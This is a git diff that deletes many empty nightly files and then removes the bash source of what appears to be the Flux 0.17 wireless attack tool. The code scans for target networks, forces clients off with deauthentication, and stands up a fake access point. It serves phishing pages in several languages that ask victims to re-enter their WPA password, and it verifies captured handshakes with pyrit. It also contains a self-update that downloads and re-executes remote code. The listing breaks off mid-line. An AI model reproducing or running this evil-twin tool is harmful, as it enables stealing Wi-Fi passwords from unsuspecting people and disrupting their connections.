b/nightly/0.09/fluxion/fluxion.1/fluxion deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.09/fluxion/fluxion.1/fluxion +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.10/flux/flux.1/flux b/nightly/0.10/flux/flux.1/flux deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.10/flux/flux.1/flux +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.10/fluxion/fluxion.1/fluxion b/nightly/0.10/fluxion/fluxion.1/fluxion deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.10/fluxion/fluxion.1/fluxion +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.11/flux/flux.1/flux b/nightly/0.11/flux/flux.1/flux deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.11/flux/flux.1/flux +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.11/fluxion/fluxion.1/fluxion b/nightly/0.11/fluxion/fluxion.1/fluxion deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.11/fluxion/fluxion.1/fluxion +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.12/flux/flux.1/flux b/nightly/0.12/flux/flux.1/flux deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.12/flux/flux.1/flux +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.12/fluxion/fluxion.1/fluxion b/nightly/0.12/fluxion/fluxion.1/fluxion deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.12/fluxion/fluxion.1/fluxion +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.13/flux/flux.1/flux b/nightly/0.13/flux/flux.1/flux deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.13/flux/flux.1/flux +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.13/fluxion/fluxion.1/fluxion b/nightly/0.13/fluxion/fluxion.1/fluxion deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.13/fluxion/fluxion.1/fluxion +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.14/flux/flux.1/flux b/nightly/0.14/flux/flux.1/flux deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.14/flux/flux.1/flux +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.14/fluxion/fluxion.1/fluxion b/nightly/0.14/fluxion/fluxion.1/fluxion deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.14/fluxion/fluxion.1/fluxion +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.15/flux/flux.1/flux b/nightly/0.15/flux/flux.1/flux deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.15/flux/flux.1/flux +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.15/fluxion/fluxion.1/fluxion b/nightly/0.15/fluxion/fluxion.1/fluxion deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.15/fluxion/fluxion.1/fluxion +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.16/flux/flux.1/flux b/nightly/0.16/flux/flux.1/flux deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.16/flux/flux.1/flux +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.16/fluxion/fluxion.1/fluxion b/nightly/0.16/fluxion/fluxion.1/fluxion deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.16/fluxion/fluxion.1/fluxion +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.17/flux/flux.1/flux b/nightly/0.17/flux/flux.1/flux deleted file mode 100644 index 792d600..0000000 --- a/nightly/0.17/flux/flux.1/flux +++ /dev/null @@ -1 +0,0 @@ -# diff --git a/nightly/0.17/flux/flux.3/flux b/nightly/0.17/flux/flux.3/flux deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.17/flux/flux.3/flux +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.17/flux/flux.4/flux b/nightly/0.17/flux/flux.4/flux deleted file mode 100644 index 8b13789..0000000 --- a/nightly/0.17/flux/flux.4/flux +++ /dev/null @@ -1 +0,0 @@ - diff --git a/nightly/0.17/flux/flux.5/flux b/nightly/0.17/flux/flux.5/flux deleted file mode 100644 index ac7580b..0000000 --- a/nightly/0.17/flux/flux.5/flux +++ /dev/null @@ -1,4655 +0,0 @@ -#!/bin/bash - -########## DEBUG Mode ########## -## ## - FLUX_DEBUG=0 -## ## -################################ - - - - -clear - -##################################### < CONFIGURATION > ##################################### - - -DUMP_PATH="/tmp/TMPflux" -# Number de desautentificaciones -DEAUTHTIME="30" -revision=5 -version=0.17 -IP=192.168.1.1 -RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) - -#Colores -white="\033[1;37m" -grey="\033[0;37m" -red2="\033[0;35m" -red="\033[1;31m" -green="\033[1;32m" -yellow="\033[1;33m" -blue="\033[1;34m" -transparent="\e[0m" -############################################################################################## - -# DEBUG MODE = 1 ; DEBUG MODE = 0 [Normal Mode / Developer Mode] -if [ $FLUX_DEBUG = 1 ]; then - ## Developer Mode - export flux_output_device=/dev/stdout - HOLD="-hold" -else - ## Normal Mode - export flux_output_device=/dev/null - HOLD="" -fi - -# Delete Log only in Normal Mode ! -function conditional_clear() { - - if [[ "$flux_output_device" != "/dev/stdout" ]]; then clear; fi -} - -# Check Updates -function checkupdatess { - - revision_online="$(timeout -s SIGTERM 20 curl -L "https://sites.google.com/site/deltaxflux/flux" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" - if [ -z "$revision_online" ]; then - echo "?">$DUMP_PATH/Irev - else - echo "$revision_online">$DUMP_PATH/Irev - fi - -} - -# Animation -function spinner { - - local pid=$1 - local delay=0.15 - local spinstr='|/-\' - while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do - local temp=${spinstr#?} - printf " [%c] " "$spinstr" - local spinstr=$temp${spinstr%"$temp"} - sleep $delay - printf "\b\b\b\b\b\b" - done - printf " \b\b\b\b" -} - -# ERROR Report only in Developer Mode -# FLUXION = Developer Mode -# Fluxass = Normal Mode -if [ "$FLUX_DEBUG" = "1" ]; then - trap 'err_report $FLUXION' ERR -fi - -# ERROR Report Normale Mode -function err_report { - echo "Error en la fluxass $1" -} - - -#If the script exits unexpectedly -trap exitmode SIGINT SIGHUP - -# KILL ALL -function exitmode { - - echo -e "\n\n"$white"["$red" "$white"] "$red"Cleaning and closing"$transparent"" - - if ps -A | grep -q aireplay-ng; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"aireplay-ng"$transparent"" - killall aireplay-ng &>$flux_output_device - fi - - if ps -A | grep -q airodump-ng; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"airodump-ng"$transparent"" - killall airodump-ng &>$flux_output_device - fi - - if ps a | grep python| grep fakedns; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"python"$transparent"" - kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device - fi - - if ps -A | grep -q hostapd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"hostapd"$transparent"" - killall hostapd &>$flux_output_device - fi - - if ps -A | grep -q lighttpd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"lighttpd"$transparent"" - killall lighttpd &>$flux_output_device - fi - - if ps -A | grep -q dhcpd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"dhcpd"$transparent"" - killall dhcpd &>$flux_output_device - fi - - if ps -A | grep -q mdk3; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"mdk3"$transparent"" - killall mdk3 &>$flux_output_device - fi - - if [ "$WIFI_MONITOR" != "" ]; then - echo -e ""$white"["$red"-"$white"] "$white"Stopping interface "$green "$WIFI_MONITOR"$transparent"" - airmon-ng stop $WIFI_MONITOR &> $flux_output_device - fi - - - - if [ "$WIFI" != "" ]; then - echo -e ""$white"["$red"-"$white"] "$white"Stopping interface "$green "$WIFI"$transparent"" - airmon-ng stop $WIFI &> $flux_output_device - fi - - if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then - echo -e ""$white"["$red"-"$white"] "$white"Restoring "$grey"ipforwarding"$transparent"" - echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding - fi - - echo -e ""$white"["$red"-"$white"] "$white"Cleaning "$grey"iptables"$transparent"" - iptables --flush - iptables --table nat --flush - iptables --delete-chain - iptables --table nat --delete-chain - - echo -e ""$white"["$red"-"$white"] "$white"Restoring "$grey"tput"$transparent"" - tput cnorm - - if [ $FLUX_DEBUG != 1 ]; then - - echo -e ""$white"["$red"-"$white"] "$white"Delete "$grey"files"$transparent"" - rm -R $DUMP_PATH/* &>$flux_output_device - fi - - echo -e ""$white"["$red"-"$white"] "$white"Restarting "$grey"NetworkManager"$transparent"" - service restart network-manager &> $flux_output_device & - - echo -e ""$white"["$green "+"$white"] "$green "Cleaning performed successfully!"$transparent"" - exit - -} - -# Genera listado de Interfaces en el Script -readarray -t webinterfaces < <(echo -e "Web Interface -\e[1;31mExit"$transparent"" -) - -# Genera listado de Idiomas web -readarray -t webinterfaceslenguage < <(echo -e "Engish [ENG] -Spanish[ESP] GERMAN [GER] -\e[1;31mBack"$transparent"" -) - -#Language for Web Interface -#GER -DIALOG_WEB_INFO_GER="Aus Sicherheitsgründen, geben sie bitte "$Host_ENC" den WPA2 Schlüssel ein" -DIALOG_WEB_INPUT_GER="Geben sie den WPA2 Schlüssel ein" -DIALOG_WEB_SUBMIT_GER="Bestätigen" -DIALOG_WEB_ERROR_GER="Error: Das eingegebene Passwort ist nicht Korrekt!" -DIALOG_WEB_OK_GER="Die Verbindung wird in wenigen Sekunden wiederhergestellt" -DIALOG_WEB_BACK_GER="Back" -DIALOG_WEB_LENGHT_MIN_GER="Das Passwort muss länger als 7 Zeichen sein" -DIALOG_WEB_LENGHT_MAX_GER="Das Passwort muss kürzer als 64 Zeichen sein" - -#EN -DIALOG_WEB_INFO_ENG="For security reasons, enter the "$Host_ENC" key to access the Internet" -DIALOG_WEB_INPUT_ENG="Enter your WPA password:" -DIALOG_WEB_SUBMIT_ENG="Submit" -DIALOG_WEB_ERROR_ENG="Error: The entered password is NOT correct!" -DIALOG_WEB_OK_ENG="Your connection will be restored in a few moments." -DIALOG_WEB_BACK_ENG="Back" -DIALOG_WEB_LENGHT_MIN_ENG="The password must be more than 7 characters" -DIALOG_WEB_LENGHT_MAX_ENG="The password must be less than 64 characters" - -#ESP -DIALOG_WEB_INFO_ESP="Por razones de seguridad, introduzca la contraseña "$Host_ENC" para acceder a Internet" -DIALOG_WEB_INPUT_ESP="Introduzca su contraseña WPA:" -DIALOG_WEB_SUBMIT_ESP="Enviar" -DIALOG_WEB_ERROR_ESP="Error: La contraseña introducida NO es correcta!" -DIALOG_WEB_OK_ESP="Su conexión se restablecerá en breves momentos." -DIALOG_WEB_BACK_ESP="Atrás" -DIALOG_WEB_LENGHT_MIN_ESP="La clave debe ser superior a 7 caracteres" -DIALOG_WEB_LENGHT_MAX_ESP="La clave debe ser inferior a 64 caracteres" - -#IT -DIALOG_WEB_INFO_IT="Per motivi di sicurezza, immettere la chiave "$Host_ENC" per accedere a Internet" -DIALOG_WEB_INPUT_IT="Inserisci la tua password WPA:" -DIALOG_WEB_SUBMIT_IT="Invia" -DIALOG_WEB_ERROR_IT="Errore: La password NON è corretta!" -DIALOG_WEB_OK_IT="La connessione sarà ripristinata in pochi istanti." -DIALOG_WEB_BACK_IT="Indietro" -DIALOG_WEB_LENGHT_MIN_IT="La password deve essere superiore a 7 caratteri" -DIALOG_WEB_LENGHT_MAX_IT="La password deve essere inferiore a 64 caratteri" - -#FR -DIALOG_WEB_INFO_FR="Pour des raisons de sécurité, veuillez introduire "$Host_ENC" votre clé pour acceder à Internet" -DIALOG_WEB_INPUT_FR="Entrez votre clé WPA:" -DIALOG_WEB_SUBMIT_FR="Valider" -DIALOG_WEB_ERROR_FR="Error: La clé que vous avez introduit NOT est incorrecte!" -DIALOG_WEB_OK_FR="Veuillez patienter quelques instants." -DIALOG_WEB_BACK_FR="Précédent" -DIALOG_WEB_LENGHT_MIN_FR="La passe dois avoir plus de 7 digits" -DIALOG_WEB_LENGHT_MAX_FR="La passe dois avoir moins de 64 digits" - -#POR -DIALOG_WEB_INFO_POR="Por razões de segurança, digite a senha para acessar a Internet" -DIALOG_WEB_INPUT_POR="Digite sua senha WPA" -DIALOG_WEB_SUBMIT_POR="Enviar" -DIALOG_WEB_ERROR_POR="Erro: A senha digitada NÃO está correto !" -DIALOG_WEB_OK_POR="Sua conexão é restaurada em breve." -DIALOG_WEB_BACK_POR="Voltar" -DIALOG_WEB_LENGHT_MIN_POR="A senha deve ter mais de 7 caracteres" -DIALOG_WEB_LENGHT_MAX_POR="A chave deve ser menor que 64 caracteres" - -# Design -function mostrarheader(){ - - conditional_clear - echo -e "$green #########################################################" - echo -e "$green # #" - echo -e "$green #$red FLUX $version" "${yellow}by ""${blue}deltax""$green #"${blue} - echo -e "$green #""${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}N""${yellow}ot a ""${red}S""${yellow}ocial ""${red}E""${yellow}nginering" "${red}T""${yellow}ool""$green #" - echo -e "$green # #" - echo -e "$green #########################################################""$transparent" - echo - echo -} - -##################################### < CONFIGURACION > ##################################### - - - - - - -############################################## < START > ############################################## - - -if ! [ $(id -u) = "0" ] 2>/dev/null; then - echo -e "\e[1;31mYou don't have admin privilegies"$transparent"" - exit -fi - -# Check requirements -function checkdependences { - - echo -ne "Aircrack-ng....." - if ! hash aircrack-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Aireplay-ng....." - if ! hash aireplay-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Airmon-ng......." - if ! hash airmon-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Airodump-ng....." - if ! hash airodump-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Awk............." - if ! hash awk 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Curl............" - if ! hash curl 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Dhcpd..........." - if ! hash dhcpd 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Hostapd........." - if ! hash hostapd 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Iwconfig........" - if ! hash iwconfig 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Lighttpd........" - if ! hash lighttpd 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Macchanger......" - if ! hash macchanger 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Mdk3............" - if ! hash mdk3 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Nmap............" - if ! [ -f /usr/bin/nmap ]; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Php5-cgi........" - if ! [ -f /usr/bin/php-cgi ]; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Pyrit..........." - if ! hash pyrit 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Python.........." - if ! hash python 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Unzip..........." - if ! hash unzip 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Xterm..........." - if ! hash xterm 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - if [ "$salir" = "1" ]; then - exit 1 - fi - - sleep 1 - clear -} -mostrarheader -checkdependences - -# Create Workbook -if [ ! -d $DUMP_PATH ]; then - mkdir $DUMP_PATH &>$flux_output_device -fi - - -if [ $FLUX_DEBUG != 1 ]; then - - echo "" - sleep 0.1 && echo -e $red " LUXFLUXFLUX UXF UXF UX UX" - sleep 0.1 && echo -e $red " LUXFLUXFLUX UXF UXF UX UX" - sleep 0.1 && echo -e $red " LU UX XF UXF FL FL " - sleep 0.1 && echo -e $red " LUXFLU UX XF UXF LUXF" - sleep 0.1 && echo -e $red " LUXFL UX XF UXF LUX" - sleep 0.1 && echo -e $red " LU UX XF UXF FLUXF " - sleep 0.1 && echo -e $red " LU UX XFL UXF XFL FL " - sleep 0.1 && echo -e $red " LU UXFLUXFL FLUXFLUX XF LUXF" - echo "" - - sleep 1 - echo -e $red" FLUX "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" deltax" - sleep 1 - echo -e $green " Page:"$red"www.flux.jimdo.de "$transparent - sleep 1 - echo -n " Latest rev." - tput civis - checkupdatess & - spinner "$!" - revision_online=$(cat $DUMP_PATH/Irev) - echo -e ""$white" [${red2}${revision_online}$white"$transparent"]" - if [ "$revision_online" != "?" ]; then - - if [ "$revision" != "$revision_online" ]; then - - cp $0 $HOME/flux_rev-$revision.backup - curl -A "Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0" -L https://sites.google.com/site/deltaxflux/flux -s -o $0 - echo - echo - echo -e ""$red" -Updated successfully! Restarting the script to apply the changes ..."$transparent"" - sleep 5 - chmod +x $0 - exec $0 - - fi - fi - echo "" - tput cnorm - sleep 2 - -fi - -# Show info for the selected AP -function infoap { - - Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]` - Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | cut -d " " -f 5-` - echo "INFO WIFI" - echo - echo -e " "$green "SSID"$transparent" = $Host_SSID / $Host_ENC" - echo -e " "$green "Channel"$transparent" = $channel" - echo -e " "$green "Speed"$transparent" = ${speed:2} Mbps" - echo -e " "$green "BSSID"$transparent" = $mac (\e[1;33m$Host_MAC_MODEL"$transparent")" - echo -} - -############################################## < START > ############################################## - - - - - - -############################################### < MENU > ############################################### - -# Windows + Resolution -function setresolution { - - function resA { - - TOPLEFT="-geometry 90x13+0+0" - TOPRIGHT="-geometry 83x26-0+0" - BOTTOMLEFT="-geometry 90x24+0-0" - BOTTOMRIGHT="-geometry 75x12-0-0" - TOPLEFTBIG="-geometry 91x42+0+0" - TOPRIGHTBIG="-geometry 83x26-0+0" - } - - function resB { - - TOPLEFT="-geometry 92x14+0+0" - TOPRIGHT="-geometry 68x25-0+0" - BOTTOMLEFT="-geometry 92x36+0-0" - BOTTOMRIGHT="-geometry 74x20-0-0" - TOPLEFTBIG="-geometry 100x52+0+0" - TOPRIGHTBIG="-geometry 74x30-0+0" - } - function resC { - - TOPLEFT="-geometry 100x20+0+0" - TOPRIGHT="-geometry 109x20-0+0" - BOTTOMLEFT="-geometry 100x30+0-0" - BOTTOMRIGHT="-geometry 109x20-0-0" - TOPLEFTBIG="-geometry 100x52+0+0" - TOPRIGHTBIG="-geometry 109x30-0+0" - } - function resD { - TOPLEFT="-geometry 110x35+0+0" - TOPRIGHT="-geometry 99x40-0+0" - BOTTOMLEFT="-geometry 110x35+0-0" - BOTTOMRIGHT="-geometry 99x30-0-0" - TOPLEFTBIG="-geometry 110x72+0+0" - TOPRIGHTBIG="-geometry 99x40-0+0" - } - function resE { - TOPLEFT="-geometry 130x43+0+0" - TOPRIGHT="-geometry 68x25-0+0" - BOTTOMLEFT="-geometry 130x40+0-0" - BOTTOMRIGHT="-geometry 132x35-0-0" - TOPLEFTBIG="-geometry 130x85+0+0" - TOPRIGHTBIG="-geometry 132x48-0+0" - } - function resF { - TOPLEFT="-geometry 100x17+0+0" - TOPRIGHT="-geometry 90x27-0+0" - BOTTOMLEFT="-geometry 100x30+0-0" - BOTTOMRIGHT="-geometry 90x20-0-0" - TOPLEFTBIG="-geometry 100x70+0+0" - TOPRIGHTBIG="-geometry 90x27-0+0" -} - -detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3) -## A) 1024x600 -## B) 1024x768 -## C) 1280x768 -## D) 1280x1024 -## E) 1600x1200 -case $detectedresolution in - "1024x600" ) resA ;; - "1024x768" ) resB ;; - "1280x768" ) resC ;; - "1366x768" ) resC ;; - "1280x1024" ) resD ;; - "1600x1200" ) resE ;; - "1366x768" ) resF ;; - * ) resA ;; -esac -} - -# Choose Interface -function setinterface { - - # Collect all interfaces in montitor mode & stop all - KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'` - - for monkill in ${KILLMONITOR[@]}; do - airmon-ng stop $monkill >$flux_output_device - echo -n "$monkill, " - done - - # Create a variable with the list of physical network interfaces - readarray -t wirelessifaces < <(airmon-ng |grep "-" | cut -d- -f1) - INTERFACESNUMBER=`airmon-ng| grep -c "-"` - - echo - echo - echo Autodetect Resolution ... - echo $detectedresolution - echo - - - - if [ "$INTERFACESNUMBER" -gt "0" ]; then - - echo "Select an interface" - echo - i=0 - - for line in "${wirelessifaces[@]}"; do - i=$(($i+1)) - wirelessifaces[$i]=$line - echo -e "$green ""$i)"$transparent" $line" - done - - echo -n "#? " - read line - PREWIFI=$(echo ${wirelessifaces[$line]} | awk '{print $1}') - - if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then - conditional_clear - mostrarheader - setinterface - fi - - readarray -t softwaremolesto < <(airmon-ng check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }') - WIFIDRIVER=$(airmon-ng | grep "$PREWIFI" | awk '{print($(NF-2))}') - rmmod -f "$WIFIDRIVER" &>$flux_output_device 2>&1 - - for molesto in "${softwaremolesto[@]}"; do - killall "$molesto" &>$flux_output_device - done - sleep 0.5 - - modprobe "$WIFIDRIVER" &>$flux_output_device 2>&1 - sleep 0.5 - # Select Wifi Interface - select PREWIFI in $INTERFACES; do - break; - done - - WIFIMONITOR=$(airmon-ng start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1) - WIFI_MONITOR=$WIFIMONITOR - WIFI=$PREWIFI - - #No wireless cards - else - - echo There are no wireless cards, quit... - sleep 5 - exitmode - fi - - deltax - -} - -# Check files -function deltax { - - conditional_clear - CSVDB=dump-01.csv - - rm -rf $DUMP_PATH/* - - choosescan - selection -} - -# Select channel -function choosescan { - - conditional_clear - - while true; do - conditional_clear - mostrarheader - - echo "Select channel" - echo " " - echo -e " "$green "1)"$transparent" All channels " - echo -e " "$green "2)"$transparent" Specific channel(s) " - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) Scan ; break ;; - 2 ) Scanchan ; break ;; - * ) echo "Unknown option. Please choose again"; conditional_clear ;; - esac - done -} - -# Choose your channel if you choose option 2 before -function Scanchan { - - conditional_clear - mostrarheader - - echo " " - echo " Select Channel " - echo " " - echo -e " Single channel "$green "6"$transparent" " - echo -e " Multiple channels "$green "1-5"$transparent" " - echo -e " Multiple channels "$green "1,2,5-7,11"$transparent" " - echo " " - echo -n " #> " - read channel_number - set -- ${channel_number} - conditional_clear - - rm -rf $DUMP_PATH/dump* - xterm $HOLD -title "Scanning Target [$channel_number]" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng -w $DUMP_PATH/dump --channel "$channel_number" -a $WIFI_MONITOR -} - -# Scans the entire network -function Scan { - - conditional_clear - xterm $HOLD -title "WIFI Monitor" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng -w $DUMP_PATH/dump -a $WIFI_MONITOR -} - -# Choose a network -function selection { - - conditional_clear - mostrarheader - - - LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'` - - if [ $LINEAS_WIFIS_CSV -le 3 ]; then - deltax && break - fi - - linap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` - linap=`expr $linap - 1` - head -n $linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv - tail -n +$linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv - echo " WIFI LIST " - echo "" - echo " # MAC CHAN SECU PWR ESSID" - echo "" - i=0 - - while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do - longueur=${#MAC} - PRIVACY=$(echo $PRIVACY| tr -d "^ ") - PRIVACY=${PRIVACY:0:4} - if [ $longueur -ge 17 ]; then - i=$(($i+1)) - POWER=`expr $POWER + 100` - CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC` - - if [ "$CLIENTE" != "" ]; then - CLIENTE="*" - fi - - echo -e " ""$green "$i")"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$red" $PRIVACY"\t ""$yellow"$POWER%"\t""$green "$ESSID""$transparent"" - aidlenght=$IDLENGTH - assid[$i]=$ESSID - achannel[$i]=$CHANNEL - amac[$i]=$MAC - aprivacy[$i]=$PRIVACY - aspeed[$i]=$SPEED - fi - done < $DUMP_PATH/dump-02.csv - echo - echo -e ""$green "("$white"*"$green ")Fehler"$transparent"" - echo "" - echo " Select Target " - echo -n " #> " - read choice - idlenght=${aidlenght[$choice]} - ssid=${assid[$choice]} - channel=$(echo ${achannel[$choice]}|tr -d [:space:]) - mac=${amac[$choice]} - privacy=${aprivacy[$choice]} - speed=${aspeed[$choice]} - Host_IDL=$idlength - Host_SPEED=$speed - Host_ENC=$privacy - Host_MAC=$mac - Host_CHAN=$channel - acouper=${#ssid} - fin=$(($acouper-idlength)) - Host_SSID=${ssid:1:fin} - - conditional_clear - - askAP -} - -# FakeAP -function askAP { - - DIGITOS_WIFIS_CSV=`echo "$Host_MAC" | wc -m` - - if [ $DIGITOS_WIFIS_CSV -le 15 ]; then - selection && break - fi - - if [ "$(echo $WIFIDRIVER | grep -i 8187)" ]; then - fakeapmode="airbase-ng" - askauth - fi - - mostrarheader - while true; do - - infoap - - echo "MODE FakeAP" - echo " " - echo -e " "$green "1)"$transparent" Hostapd ("$red"Recommend)"$transparent")" - echo -e " "$green "2)"$transparent" airbase-ng (Slower connection)" - echo -e " "$green "3)"$transparent" Back" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; - 2 ) fakeapmode="airbase-ng"; askauth; break ;; - 3 ) selection; break ;; - * ) echo "Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -# Test Passwords / airbase-ng -function askauth { - - conditional_clear - - mostrarheader - while true; do - - echo "METHOD TO VERIFICATION THE PASSWORD" - echo " " - echo -e " "$green "1)"$transparent" Handshake ("$red"Recommended"$transparent")" - echo -e " "$green "2)"$transparent" Wpa_supplicant(More failures)" - echo -e " "$green "3)"$transparent" Back" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) authmode="handshake"; handshakelocation; break ;; - 2 ) authmode="wpa_supplicant"; webinterface; break ;; - 3 ) askAP; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -function handshakelocation { - - conditional_clear - - mostrarheader - infoap - echo - echo -e "handshake path (Ej: $red/root/fluxion.cap$transparent)" - echo -e "Press ${yellow}ENTER$transparent to skip" - echo - echo -n "Path: " - echo -ne "$red" - read handshakeloc - echo -ne "$transparent" - - if [ "$handshakeloc" = "" ]; then - deauthforce - else - if [ -f "$handshakeloc" ]; then - Host_SSID_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2) - Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]') - if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then - if pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then - cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap - webinterface - else - echo "Broken handshake " - echo - sleep 4 - echo "you can try 